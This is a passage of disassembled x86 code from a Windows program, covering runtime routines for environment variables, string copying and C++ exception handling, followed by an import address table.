test ebx, ebx
jnz short loc_4175B7
test esi, esi
jge short loc_417543
neg esi
loc_417543: ; CODE XREF: sub_417437+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_40DB08
pop ecx
test eax, eax
pop ecx
jz loc_41749B
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_417566: ; CODE XREF: sub_417437+F8j
mov dword_481DE4, eax
loc_41756B: ; CODE XREF: sub_417437+F6j
; sub_417437+100j
cmp [ebp+arg_4], 0
jz short loc_4175B7
push [ebp+arg_0]
call sub_40CBC0
inc eax
inc eax
push eax
call sub_40CCCF
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4175B7
push [ebp+arg_0]
push esi
call sub_40E3C0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_418004 ; SetEnvironmentVariableA
push esi
call sub_40CD81
pop ecx
loc_4175B7: ; CODE XREF: sub_417437+6Ej
; sub_417437+104j ...
xor eax, eax
jmp loc_41749E
sub_417437 endp
; =============== S U B R O U T I N E =======================================
sub_4175BE proc near ; CODE XREF: sub_417437+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_481DE4
push edi
mov eax, [esi]
test eax, eax
jz short loc_4175F9
mov edi, [esp+8+arg_4]
loc_4175D0: ; CODE XREF: sub_4175BE+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_4170E2
add esp, 0Ch
test eax, eax
jnz short loc_4175EF
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_417609
test al, al
jz short loc_417609
loc_4175EF: ; CODE XREF: sub_4175BE+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_4175D0
loc_4175F9: ; CODE XREF: sub_4175BE+Cj
mov eax, esi
sub eax, dword_481DE4
sar eax, 2
neg eax
loc_417606: ; CODE XREF: sub_4175BE+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_417609: ; CODE XREF: sub_4175BE+2Bj
; sub_4175BE+2Fj
mov eax, esi
sub eax, dword_481DE4
sar eax, 2
jmp short loc_417606
sub_4175BE endp
; =============== S U B R O U T I N E =======================================
sub_417616 proc near ; CODE XREF: sub_417437+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_417625
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_417625: ; CODE XREF: sub_417616+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_417637
loc_41762D: ; CODE XREF: sub_417616+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41762D
loc_417637: ; CODE XREF: sub_417616+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_40CCCF
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_417658
push 9
call sub_40EC7A
pop ecx
loc_417658: ; CODE XREF: sub_417616+38j
mov eax, [edi]
mov ebx, edi
loc_41765C: ; CODE XREF: sub_417616+5Bj
test eax, eax
jz short loc_417673
push eax
add ebx, 4
call sub_4176F0
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41765C
; ---------------------------------------------------------------------------
loc_417673: ; CODE XREF: sub_417616+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_417616 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41767D proc near ; CODE XREF: sub_417437+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4831FC, 0
jnz short loc_417698
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E610
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_417698: ; CODE XREF: sub_41767D+Aj
mov ecx, [ebp+arg_0]
loc_41769B: ; CODE XREF: sub_41767D+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_4176DE
movzx edx, al
test byte_483301[edx], 4
jz short loc_4176CA
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_4176D5
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_4176D9
jmp short loc_4176D2
; ---------------------------------------------------------------------------
loc_4176CA: ; CODE XREF: sub_41767D+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_4176DE
loc_4176D2: ; CODE XREF: sub_41767D+4Bj
inc ecx
jmp short loc_41769B
; ---------------------------------------------------------------------------
loc_4176D5: ; CODE XREF: sub_41767D+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4176D9: ; CODE XREF: sub_41767D+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4176DE: ; CODE XREF: sub_41767D+25j
; sub_41767D+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41767D endp
; =============== S U B R O U T I N E =======================================
sub_4176F0 proc near ; CODE XREF: sub_4051D9+21p
; sub_417616+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_417717
push esi
call sub_40CBC0
inc eax
push eax
call sub_40CCCF
pop ecx
test eax, eax
pop ecx
jz short loc_417717
push esi
push eax
call sub_40E3C0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_417717: ; CODE XREF: sub_4176F0+7j
; sub_4176F0+1Aj
xor eax, eax
pop esi
retn
sub_4176F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417720 proc near ; CODE XREF: sub_40258B+12p
; sub_4025E5+12p ...
mov eax, offset loc_417C14
call sub_40D3D8
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402790
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_40CBC0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_4027C8
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41777A
lea eax, [ebp-3Ch]
push offset dword_418F70
push eax
mov dword ptr [ebp-3Ch], offset off_418C34
call sub_417B7B
pop esi
sub_417720 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41777A proc near ; CODE XREF: sub_417720+3Fp
; sub_41794C+3Fp
mov eax, offset loc_417C28
call sub_40D3D8
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_4242F0
call sub_417AA0
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_402790
push dword_418C60
mov ecx, edi
push 0
push ebx
call sub_40263D
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_418C54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41777A endp
; =============== S U B R O U T I N E =======================================
sub_4177DE proc near ; DATA XREF: .nsp0:00418C38o
; .nsp0:00418C58o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4177EA
mov eax, offset dword_418220
locret_4177EA: ; CODE XREF: sub_4177DE+5j
retn
sub_4177DE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp-1Ch]
call sub_417861
lea eax, [ebp-1Ch]
push offset dword_418FE0
push eax
call sub_417B7B
; =============== S U B R O U T I N E =======================================
sub_417808 proc near ; CODE XREF: .nsp0:00417848p
; DATA XREF: .nsp0:00418FE4o
mov eax, offset loc_417C3C
call sub_40D3D8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_418C54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_417B27
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_417808 endp
; ---------------------------------------------------------------------------
loc_417845: ; DATA XREF: .nsp0:off_418C54o
push esi
mov esi, ecx
call sub_417808
test byte ptr [esp+8], 1
jz short loc_41785B
push esi
call sub_40D448
pop ecx
loc_41785B: ; CODE XREF: .nsp0:00417852j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_417861 proc near ; CODE XREF: .nsp0:004177F5p
; sub_417934+7p ...
mov eax, offset loc_417C50
call sub_40D3D8
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_417ADD
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_402790
push dword_418C60
mov ecx, edi
push 0
push ebx
call sub_40263D
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_418C54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_417861 endp
; =============== S U B R O U T I N E =======================================
sub_4178BE proc near ; CODE XREF: sub_4178FB+20p
; DATA XREF: .nsp0:00418F74o
mov eax, offset loc_417C64
call sub_40D3D8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_418C54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_417B27
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_4178BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178FB proc near ; DATA XREF: .nsp0:00418C3Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_417934
lea eax, [ebp+var_1C]
push offset dword_418F70
push eax
call sub_417B7B
loc_417918: ; DATA XREF: .nsp0:off_418C34o
push esi
mov esi, ecx
call sub_4178BE
test [esp+20h+var_18], 1
jz short loc_41792E
push esi
call sub_40D448
pop ecx
loc_41792E: ; CODE XREF: sub_4178FB+2Aj
mov eax, esi
pop esi
retn 4
sub_4178FB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417934 proc near ; CODE XREF: sub_4178FB+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_417861
mov dword ptr [esi], offset off_418C34
mov eax, esi
pop esi
retn 4
sub_417934 endp
; =============== S U B R O U T I N E =======================================
sub_41794C proc near ; CODE XREF: sub_40263D+13p
; sub_4027FD+Ep
mov eax, offset loc_417C78
call sub_40D3D8
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402790
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_40CBC0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_4027C8
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41777A
lea eax, [ebp-3Ch]
push offset dword_419098
push eax
mov dword ptr [ebp-3Ch], offset off_418C68
call sub_417B7B
pop esi
sub_41794C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4179A6 proc near ; CODE XREF: sub_4179E3+20p
; DATA XREF: .nsp0:0041909Co
mov eax, offset loc_417C8C
call sub_40D3D8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_418C54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_417B27
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_4179A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179E3 proc near ; DATA XREF: .nsp0:00418C70o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_417A1C
lea eax, [ebp+var_1C]
push offset dword_419098
push eax
call sub_417B7B
loc_417A00: ; DATA XREF: .nsp0:off_418C68o
push esi
mov esi, ecx
call sub_4179A6
test [esp+20h+var_18], 1
jz short loc_417A16
push esi
call sub_40D448
pop ecx
loc_417A16: ; CODE XREF: sub_4179E3+2Aj
mov eax, esi
pop esi
retn 4
sub_4179E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417A1C proc near ; CODE XREF: sub_4179E3+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_417861
mov dword ptr [esi], offset off_418C68
mov eax, esi
pop esi
retn 4
sub_417A1C endp
; =============== S U B R O U T I N E =======================================
sub_417A34 proc near ; DATA XREF: .nsp0:0041A008o
; FUNCTION CHUNK AT 00417A6A SIZE 0000000C BYTES
test byte_4820AC, 1
jnz short loc_417A44
or byte_4820AC, 1
loc_417A44: ; CODE XREF: sub_417A34+7j
call sub_417A5E
test byte_483440, 1
jnz short loc_417A59
or byte_483440, 1
loc_417A59: ; CODE XREF: sub_417A34+1Cj
jmp loc_417A6A
sub_417A34 endp
; =============== S U B R O U T I N E =======================================
sub_417A5E proc near ; CODE XREF: sub_417A34:loc_417A44p
push offset nullsub_1
call sub_40D810
pop ecx
retn
sub_417A5E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_417A34
loc_417A6A: ; CODE XREF: sub_417A34:loc_417A59j
push offset nullsub_1
call sub_40D810
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_417A34
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_417A78 proc near ; CODE XREF: sub_401F1D+5Ep
; sub_403E11+157p
jmp dword_4181C0
sub_417A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_417A7E proc near ; CODE XREF: sub_40D044+23p
; sub_40D2E8+13p
jmp dword_418118
sub_417A7E endp
; =============== S U B R O U T I N E =======================================
sub_417A84 proc near ; DATA XREF: .nsp0:off_418C90o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_417B27
test [esp+4+arg_0], 1
jz short loc_417A9A
push esi
call sub_40D448
pop ecx
loc_417A9A: ; CODE XREF: sub_417A84+Dj
mov eax, esi
pop esi
retn 4
sub_417A84 endp
; =============== S U B R O U T I N E =======================================
sub_417AA0 proc near ; CODE XREF: sub_41777A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_418C90
push dword ptr [edi]
call sub_40CBC0
inc eax
push eax
call sub_40D795
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_417ACF
push dword ptr [edi]
push eax
call sub_40E3C0
pop ecx
pop ecx
loc_417ACF: ; CODE XREF: sub_417AA0+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_417AA0 endp
; =============== S U B R O U T I N E =======================================
sub_417ADD proc near ; CODE XREF: sub_417861+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_418C90
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_417B1A
push dword ptr [edi+4]
call sub_40CBC0
inc eax
push eax
call sub_40D795
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_417B20
push dword ptr [edi+4]
push eax
call sub_40E3C0
pop ecx
pop ecx
jmp short loc_417B20
; ---------------------------------------------------------------------------
loc_417B1A: ; CODE XREF: sub_417ADD+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_417B20: ; CODE XREF: sub_417ADD+2Ej
; sub_417ADD+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_417ADD endp
; =============== S U B R O U T I N E =======================================
sub_417B27 proc near ; CODE XREF: sub_417808+2Bp
; sub_4178BE+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_418C90
jz short locret_417B3C
push dword ptr [ecx+4]
call sub_40D448
pop ecx
locret_417B3C: ; CODE XREF: sub_417B27+Aj
retn
sub_417B27 endp
; =============== S U B R O U T I N E =======================================
sub_417B3D proc near ; DATA XREF: .nsp0:00418C94o
mov eax, [ecx+4]
test eax, eax
jnz short locret_417B49
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_417B49: ; CODE XREF: sub_417B3D+5j
retn
sub_417B3D endp
; =============== S U B R O U T I N E =======================================
sub_417B4A proc near ; CODE XREF: .nsp0:00417B62p
mov dword ptr [ecx], offset off_418CB0
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_417B5E
push ecx
call sub_40CD81
pop ecx
locret_417B5E: ; CODE XREF: sub_417B4A+Bj
retn
sub_417B4A endp
; ---------------------------------------------------------------------------
loc_417B5F: ; DATA XREF: .nsp0:off_418CB0o
push esi
mov esi, ecx
call sub_417B4A
test byte ptr [esp+8], 1
jz short loc_417B75
push esi
call sub_40D448
pop ecx
loc_417B75: ; CODE XREF: .nsp0:00417B6Cj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B7B proc near ; CODE XREF: sub_417720+54p
; .nsp0:00417803p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_418CB8
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_41814C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_417B7B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_417BB8 proc near ; DATA XREF: .nsp0:00418E64o
; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_402583
sub_417BB8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_417BD6
mov ecx, [ebp+8]
jmp loc_402583
; ---------------------------------------------------------------------------
locret_417BD6: ; CODE XREF: .nsp0:00417BC8j
retn
; ---------------------------------------------------------------------------
loc_417BD7: ; DATA XREF: sub_40215Eo
mov eax, offset dword_418E68
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_417BEC: ; DATA XREF: .nsp0:00418E90o
lea ecx, [ebp-1Ch]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_417BF4: ; DATA XREF: sub_4022FDo
mov eax, offset dword_418E94
jmp loc_40D093
; ---------------------------------------------------------------------------
align 10h
loc_417C00: ; DATA XREF: sub_402864o
mov eax, offset dword_418EE4
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_417C14: ; DATA XREF: sub_417720o
mov eax, offset dword_418F80
jmp loc_40D093
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
jmp sub_417B27
; ---------------------------------------------------------------------------
loc_417C28: ; DATA XREF: sub_41777Ao
mov eax, offset dword_418FA8
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_417B27
; ---------------------------------------------------------------------------
loc_417C3C: ; DATA XREF: sub_417808o
mov eax, offset dword_418FF0
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_417B27
; ---------------------------------------------------------------------------
loc_417C50: ; DATA XREF: sub_417861o
mov eax, offset dword_419018
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_417B27
; ---------------------------------------------------------------------------
loc_417C64: ; DATA XREF: sub_4178BEo
mov eax, offset dword_419040
jmp loc_40D093
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_417C78: ; DATA XREF: sub_41794Co
mov eax, offset dword_4190A8
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_417B27
; ---------------------------------------------------------------------------
loc_417C8C: ; DATA XREF: sub_4179A6o
mov eax, offset dword_4190D0
jmp loc_40D093
; ---------------------------------------------------------------------------
align 4
dd 0DAh dup(0)
dword_418000 dd 77E7513Ch ; DATA XREF: .nsp0:0040657Dr
dword_418004 dd 77E6BD68h ; DATA XREF: sub_417437+173r
dword_418008 dd 77E77F2Eh ; DATA XREF: sub_41718F+3Er
; sub_41718F+261r
dword_41800C dd 77E762D0h ; DATA XREF: sub_41718F+5Br
; sub_41718F+B9r
dword_418010 dd 77E70192h ; DATA XREF: sub_416C0D+F9r
dword_418014 dd 77E73FF9h ; DATA XREF: sub_415753+2Cr
dword_418018 dd 77E7FF2Eh ; DATA XREF: sub_415625:loc_415675r
; sub_41569C:loc_4156EFr
dword_41801C dd 77E7C866h ; DATA XREF: sub_415447+3Fr
; sub_415447+12Dr
dword_418020 dd 77E641EBh ; DATA XREF: sub_415447+59r
; sub_415447+8Dr
dword_418024 dd 77E7176Ch ; DATA XREF: sub_415418+8r
dword_418028 dd 77E7339Ch ; DATA XREF: sub_4153E0+Cr
dword_41802C dd 77E7C9E7h ; DATA XREF: .nsp0:004153C7r
; .nsp0:004153D9r
dword_418030 dd 77E78406h ; DATA XREF: sub_4143B3+FFr
; sub_4143B3+166r ...
dword_418034 dd 77E79C3Dh ; DATA XREF: sub_4143B3+158r
; sub_414679+143r
dword_418038 dd 77E7C931h ; DATA XREF: sub_4143B3+19Dr
dword_41803C dd 77E77EE1h ; DATA XREF: sub_414281+9r
dword_418040 dd 77E61BE6h ; DATA XREF: sub_401141+1C0r
; sub_401141+279r ...
dword_418044 dd 77F5157Dh ; DATA XREF: sub_401141+12Br
; sub_401141+24Cr ...
dword_418048 dd 77E7AC37h ; DATA XREF: sub_401141+10Br
; sub_401141+22Er ...
dword_41804C dd 77E7A099h ; DATA XREF: sub_401141+58r
; sub_401141+166r ...
dword_418050 dd 77E73C49h ; DATA XREF: sub_40154B+1B3r
; sub_401704+251r ...
dword_418054 dd 77F7E300h ; DATA XREF: sub_40154B+D5r
dword_418058 dd 77F7E21Fh ; DATA XREF: sub_40154B+9Br
dword_41805C dd 77E7751Ah ; DATA XREF: sub_40154B+2Cr
; sub_4032EE+C9r ...
dword_418060 dd 77E7C706h ; DATA XREF: sub_401704+77r
dword_418064 dd 77F53275h ; DATA XREF: sub_401704+6Br
; sub_401704+241r
dword_418068 dd 77E70F89h ; DATA XREF: sub_403145+Dr
; sub_40E2E2+Dr
dword_41806C dd 77E802FCh ; DATA XREF: sub_40B3F5+109r
; sub_40B3F5+250r
dword_418070 dd 77E6D75Bh ; DATA XREF: sub_40B3F5+FFr
dword_418074 dd 77E75CB5h ; DATA XREF: sub_4032EE+465r
; sub_403B83+DFr ...
dword_418078 dd 77E61BB8h ; DATA XREF: sub_4032EE+44Fr
; sub_403B83+A7r ...
dword_41807C dd 77E77963h ; DATA XREF: sub_4032EE+224r
; sub_403B83+B8r ...
dword_418080 dd 77E79D8Ch ; DATA XREF: sub_4032EE+137r
; sub_40551B+AEr ...
dword_418084 dd 77E7A837h ; DATA XREF: sub_4032EE+5Dr
; sub_405455+36r ...
dword_418088 dd 77E704FCh ; DATA XREF: sub_403B83+74r
; sub_407041+CCr ...
dword_41808C dd 77E805D8h ; DATA XREF: sub_4045F0+13Ar
; sub_4045F0:loc_404A86r ...
dword_418090 dd 77E7A5FDh ; DATA XREF: sub_4045F0+11r
; sub_411D85+15r ...
dword_418094 dd 77E79F93h ; DATA XREF: sub_4045F0+2r
; sub_40551B+FBr ...
dword_418098 dd 77E76A60h ; DATA XREF: sub_40530E+2Dr
dword_41809C dd 77E71B14h ; DATA XREF: sub_405398+26r
dword_4180A0 dd 77E7166Fh ; DATA XREF: sub_405398+1Dr
dword_4180A4 dd 77E75090h ; DATA XREF: sub_4053D3+69r
dword_4180A8 dd 77E74D76h ; DATA XREF: sub_4053D3+36r
dword_4180AC dd 77E77797h ; DATA XREF: sub_4053D3+25r
dword_4180B0 dd 77E7011Ah ; DATA XREF: sub_405455+96r
dword_4180B4 dd 77E73CE2h ; DATA XREF: sub_405455+60r
dword_4180B8 dd 77E668D9h ; DATA XREF: sub_40551B+15Dr
dword_4180BC dd 77E70396h ; DATA XREF: sub_40551B+126r
; sub_407041+1C1r ...
dword_4180C0 dd 77E74CABh ; DATA XREF: sub_40551B+10Fr
; sub_407041+1AAr ...
dword_4180C4 dd 77E6AD34h ; DATA XREF: sub_40551B+35r
; sub_4077FD+24C6r
dword_4180C8 dd 77E79924h ; DATA XREF: sub_4056A3+13r
; sub_413455+20Dr ...
dword_4180CC dd 77E77CCEh ; DATA XREF: sub_405775+Fr
; sub_413455+DFr ...
dword_4180D0 dd 77E65F4Ch ; DATA XREF: .nsp0:00406510r
dword_4180D4 dd 77E79C90h ; DATA XREF: sub_405D28+Cr
; sub_40E7D4+10r
dword_4180D8 dd 77E616B4h ; DATA XREF: sub_405D93+193r
; sub_40601E+1Fr ...
dword_4180DC dd 77E706B7h ; DATA XREF: sub_405D93+184r
; sub_40601E+10r ...
dword_4180E0 dd 77E7C657h ; DATA XREF: .nsp0:004065F1r
; sub_40B807+24r ...
dword_4180E4 dd 77E6C29Dh ; DATA XREF: sub_406D25+1F0r
dword_4180E8 dd 77E73628h ; DATA XREF: sub_407041+329r
; sub_4077FD+2B0Dr ...
dword_4180EC dd 77E80656h ; DATA XREF: sub_407041+255r
dword_4180F0 dd 77E6BD13h ; DATA XREF: sub_407041:loc_407208r
dword_4180F4 dd 77E79D5Bh ; DATA XREF: sub_407041+70r
; sub_407041+2FFr
dword_4180F8 dd 77E7C2C4h ; DATA XREF: sub_407041+69r
dword_4180FC dd 77E71AFEh ; DATA XREF: sub_4077FD+2372r
dword_418100 dd 77E76C1Ah ; DATA XREF: sub_40B807+1CFr
dword_418104 dd 77E64106h ; DATA XREF: sub_40B807+1B6r
dword_418108 dd 77E64006h ; DATA XREF: sub_40B807+19Fr
dword_41810C dd 77E75CEBh ; DATA XREF: sub_40C19D+27r
dword_418110 dd 77F516F8h ; DATA XREF: sub_40CD0D+6Cr
; sub_40DB08+C6r ...
dword_418114 dd 77F51597h ; DATA XREF: sub_40CD81+60r
; sub_4102F3+2C5r ...
dword_418118 dd 77F6183Eh ; DATA XREF: sub_417A7Er
dword_41811C dd 77F5722Fh ; DATA XREF: sub_40DB08+110r
; sub_40DB08+22Dr ...
dword_418120 dd 77E76E3Dh ; DATA XREF: sub_40E2E2+6Cr
; sub_415A78+38r
dword_418124 dd 77E61608h ; DATA XREF: sub_40E2E2+17r
dword_418128 dd 77E6177Ah ; DATA XREF: sub_40EB84+9Fr
; sub_4143B3+59r
dword_41812C dd 77E7C938h ; DATA XREF: sub_40EB84+74r
dword_418130 dd 77E7C486h ; DATA XREF: sub_40EB84+26r
dword_418134 dd 77E7AC5Eh ; DATA XREF: sub_4100DB+54r
dword_418138 dd 77E76E0Bh ; DATA XREF: sub_410223+50r
dword_41813C dd 77E7C726h ; DATA XREF: sub_410223+11r
dword_418140 dd 77E79E34h ; DATA XREF: sub_4102F3+240r
; sub_410DC7+120r ...
dword_418144 dd 77E7980Ah ; DATA XREF: sub_410925+76r
; sub_4109D6+51r ...
dword_418148 dd 77E73196h ; DATA XREF: sub_4153FC+Cr
dword_41814C dd 77E6D706h ; DATA XREF: sub_41157F+215r
; sub_417B7B+2Er
dword_418150 dd 77F522F2h ; DATA XREF: sub_412AE8+58r
dword_418154 dd 77E78B82h ; DATA XREF: sub_412E82+84r
; sub_412E82+155r
dword_418158 dd 77E77405h ; DATA XREF: sub_413455+5Er
; sub_413455+A7r
dword_41815C dd 77E781F9h ; DATA XREF: sub_413455+42r
; sub_413455+14Dr ...
dword_418160 dd 77E7849Fh ; DATA XREF: sub_413679+48r
; sub_4138B8+14r ...
dword_418164 dd 77E7A13Fh ; DATA XREF: sub_413812+2Fr
dword_418168 dd 77E6C703h ; DATA XREF: sub_413812+1Ar
dword_41816C dd 77E78C81h ; DATA XREF: sub_413BAD+4Fr
dword_418170 dd 77EB9A84h ; DATA XREF: sub_413D9F+138r
dword_418174 dd 77E9C5B1h ; DATA XREF: sub_414281+11Fr
dword_418178 dd 77E7C9E1h ; DATA XREF: sub_414281+CEr
dword_41817C dd 77E67702h ; DATA XREF: sub_414281:loc_4142B0r
; sub_414281+E1r
dd 0
dword_418184 dd 71AB1836h ; DATA XREF: sub_4043F8+6Er
; sub_404475+8Er
dword_418188 dd 71AB41DAh ; DATA XREF: sub_403E11+47r
; sub_4043F8+15r
